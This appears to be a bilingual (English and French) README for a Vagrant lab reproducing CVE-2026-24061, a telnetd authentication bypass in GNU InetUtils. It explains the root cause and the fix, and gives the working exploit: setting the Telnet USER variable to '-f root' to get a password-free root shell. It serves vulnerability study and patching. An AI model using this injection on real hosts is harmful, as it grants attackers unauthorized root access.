
Reproduction lab for CVE-2026-24061, an authentication bypass in GNU InetUtils telnetd. Provides a Vagrant-based isolated environment and step-by-step exploitation instructions to demonstrate the root shell access.
⚠️ For educational purposes only. Isolated lab environment.
Critical authentication bypass (CVSS 9.8) in GNU InetUtils telnetd ≤ 2.7.
By injecting -f root as the USER variable via the Telnet NEW_ENVIRON option,
an unauthenticated attacker can obtain a root shell without any password.
The USER variable received from the client during Telnet negotiation is passed
directly to /usr/bin/login without sanitization:
/usr/bin/login -p -f root
The -f flag tells login to skip password verification for the given user.
This behavior is documented in RFC 1572 (Section 7) as a known risk — yet the
bug was present in inetutils for over a decade.
GNU InetUtils telnetd 1.9.3 through 2.7
Upgrade to GNU InetUtils ≥ 2.7-2
This lab uses Vagrant to provision a real isolated VM running the vulnerable version of telnetd (inetutils 2.5, compiled from source), making it as close as possible to a real environment.
Requirements: Vagrant + VirtualBox installed on your machine.
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
The VM starts with IP 192.168.56.10 and telnetd listening on port 23.

From your host machine:
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
The USER variable is injected via the NEW_ENVIRON Telnet option during the negotiation phase — before the login prompt appears.

Agokoli
⚠️ Usage éducatif uniquement. Environnement isolé.
Contournement d'authentification critique (CVSS 9.8) dans GNU InetUtils telnetd ≤ 2.7.
En injectant -f root comme valeur de la variable USER via l'option Telnet NEW_ENVIRON,
un attaquant non authentifié peut obtenir un shell root sans aucun mot de passe.
La variable USER reçue du client pendant la négociation Telnet est passée
directement à /usr/bin/login sans validation :
/usr/bin/login -p -f root
Le flag -f indique à login de ne pas vérifier le mot de passe pour l'utilisateur donné.
Ce risque est documenté dans la RFC 1572 (Section 7) — pourtant le bug est resté
présent dans inetutils pendant plus d'une décennie.
GNU InetUtils telnetd 1.9.3 à 2.7
Mettre à jour vers GNU InetUtils ≥ 2.7-2
Ce lab utilise Vagrant pour provisionner une vraie VM isolée faisant tourner la version vulnérable de telnetd (inetutils 2.5, compilé depuis les sources), afin d'être au plus proche d'un environnement réel.
Prérequis : Vagrant + VirtualBox installés sur votre machine.
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
La VM démarre avec l'IP 192.168.56.10 et telnetd en écoute sur le port 23.

Depuis votre machine hôte :
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
La variable USER est injectée via l'option NEW_ENVIRON du protocole Telnet pendant
la phase de négociation — avant même l'apparition du prompt login:.

Agokoli